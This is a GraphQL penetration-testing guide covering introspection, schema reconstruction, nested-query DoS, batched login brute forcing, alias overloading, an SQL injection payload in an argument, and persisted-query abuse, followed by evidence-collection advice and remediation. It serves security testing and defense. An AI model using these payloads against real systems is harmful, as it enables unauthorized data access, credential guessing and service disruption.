GraphQL Pentesting
GraphQL APIs offer flexibility but introduce unique attack vectors like introspection abuse, nested query DoS, and batching attacks.
Authorization boundary
Where the attack catalogue lives
GraphQL Enumeration Path
The diagram is wider than this screen — swipe it sideways to read the labels.
Everything after that point is cheap to try, and the six techniques are easy to confuse with one another. Each row below names the request that demonstrates it and the observation that separates a finding from a slow endpoint.
| Technique | What you send | What proves it worked |
|---|---|---|
| Nested query DoS |
One cycle walked repeatedly — user → posts → comments → author — six or
seven levels deep, with the same fragment repeated at every level.
|
Latency and response size rise with each added level, while a depth-2 control query against the same endpoint stays flat. |
| Batching brute force | An array of login mutations in a single HTTP request, one password per element. | Several distinct responses come back from one request, so the per-request rate limit never sees the attempt count. |
| Alias overloading |
The same field repeated under different aliases — user1: user(id: 1),
user2: user(id: 2), and so on.
|
Hundreds of resolver calls from one operation; given a set of valid object IDs it enumerates every object the caller can reach. |
| Injection via arguments |
A backend payload in an argument value, for example user(id: "1' OR 1=1--").
|
Data the resolver should not have returned, or an error that names the query the backend built. |
| Authorization bypass BOLA/BFLA | Another tenant's object ID, or a mutation your role should not have, replayed inside an otherwise valid query. | The server returns the object or performs the mutation with no ownership or role error. |
| Persisted query abuse | An APQ request carrying a hash the server has never seen, then the query body that registers it under that hash. | The hash executes afterwards. The stored query is attacker-authored, so an allowlist that only checks the hash is bypassed. |
Introspection & Enumeration
Introspection allows you to query the API for its schema. One request answers all of it: types, the query root and the mutation root with their arguments. A GraphQL server that answers this has handed you the whole map.
POST /graphql
Content-Type: application/json
{
"query": "{ __schema { types { name kind } queryType { fields { name description args { name type { name kind } } } } mutationType { fields { name description args { name type { name kind } } } } } }"
}Pretty-printed, that is the same single document:
{
__schema {
types { name kind }
queryType {
fields {
name
description
args { name type { name kind } }
}
}
mutationType {
fields {
name
description
args { name type { name kind } }
}
}
}
}
Use gq or InQL when you want the schema persisted and diffed between environments:
gq https://api.target.com/graphql --introspectWhen introspection is off
GraphQL still leaks schema through field suggestions. Intentionally misspell a field — the server often suggests the correct name:
# Send a query with a typo:
{ usr { id } }
# Server responds with:
# "Did you mean 'user'?"
# This confirms 'user' is a valid type!# Install clairvoyance
pip3 install clairvoyance
# Reconstruct schema without introspection
python3 -m clairvoyance https://api.target.com/graphql -o schema.json
# With authentication header
python3 -m clairvoyance https://api.target.com/graphql \
-H 'Authorization: Bearer TOKEN' \
-o schema.jsonGraphQL Specific Attacks
Nested query DoS
Send deeply nested queries to exhaust server resources (Circular Queries).
query {
user(id: 1) {
posts {
comments {
author {
posts {
comments {
author {
# ... repeat ...
}
}
}
}
}
}
}
}Batching attacks
Send multiple queries in a single request to bypass rate limits or brute force credentials. This is the API-specific abuse path: the client controls the batch size, so a per-request limit does not bound the per-batch attempt count.
[
{ "query": "query { login(u: \"admin\", p: \"123456\") { token } }" },
{ "query": "query { login(u: \"admin\", p: \"password\") { token } }" },
{ "query": "query { login(u: \"admin\", p: \"12345678\") { token } }" }
]Alias overloading
Request the same field multiple times with aliases to cause resource exhaustion — or to turn one request into an enumeration of every object you can reach.
query {
user1: user(id: 1) { email }
user2: user(id: 2) { email }
user3: user(id: 3) { email }
}Injection
SQL or NoSQL injection can occur within GraphQL arguments.
query {
user(id: "1' OR 1=1--") {
username
}
}Persisted Query Abuse
Automatic Persisted Queries (APQ) cache queries by hash. If the server accepts arbitrary hashes and executes them, an attacker can register malicious queries that bypass allow-listing.
# Step 1: Send a query hash without the query body
POST /graphql
{
"extensions": {
"persistedQuery": {
"version": 1,
"sha256Hash": "ATTACKER_CONTROLLED_HASH"
}
}
}
# Step 2: If server responds "PersistedQueryNotFound", send with query body
# Server caches it — now the hash maps to your malicious queryGraphQL security audit tool
graphql-cop for a quick automated audit: it checks introspection, batching,
field suggestions, persisted queries, and DoS vectors in one command:
graphql-cop -t https://api.target.com/graphql
Evidence Collection
For a GraphQL finding, capture:
The operation: The complete query or mutation text with its variables, and the response body including the errors array — reduced to the smallest operation that still demonstrates the issue.
How the schema was obtained: Introspection, field suggestions, a client bundle or clairvoyance — with the exact request that returned it, because the finding differs for each.
Cost, measured: For depth, alias or batching abuse: query depth, alias count, elapsed time and response size next to a truncated control query on the same endpoint.
False Positive Identification
- Introspection on a development host: Staging and local endpoints serving introspection is expected. Confirm the host, certificate and path are the production surface before writing it up.
- A suggestion is not a disclosure: A "Did you mean" error confirms a field exists and returns no data. It is a finding only when the suggested field can then be queried for values the caller should not see.
Testing Checklist
Enumeration
- ☐ Run the full introspection query; if it is blocked, reconstruct the schema from field suggestions, and check whether the playground and schema are served on the production host.
Abuse paths
- ☐ Measure alias batching and deep nesting against a control query, one increment at a time.
- ☐ Replay every resolver object reference with a second account, and test a batch of login mutations as one HTTP request.
- ☐ Send an unregistered persisted-query hash, then register a malicious operation and replay the hash.
Remediation & Defense
GraphQL defences are four controls on one endpoint, and every one of them has to be enforced by the server — a query sent with curl never sees your client-side checks.
Bound the query before it runs
- • Depth limiting alone is not enough for aliases: add cost analysis weighted by field and relation, a maximum alias count per operation, and a resolver time budget. Reject at parse time rather than cancelling mid-execution.
Allowlist queries in production
- • Persisted queries only help when the hash is looked up in a server-side allowlist and unregistered hashes are refused. If a client can register an unknown hash, APQ is a bypass, not a control.
Authorize every field and node
- • One endpoint, many resolvers: each resolver returning an object needs the object-level check a REST handler would have, and every mutation needs a role check of its own.
Limit batching and suggestion leakage
- • Cap operations per HTTP request with per-operation cost accounting, turn off field suggestions in production, and disable introspection outside development. Together they remove the cheap paths.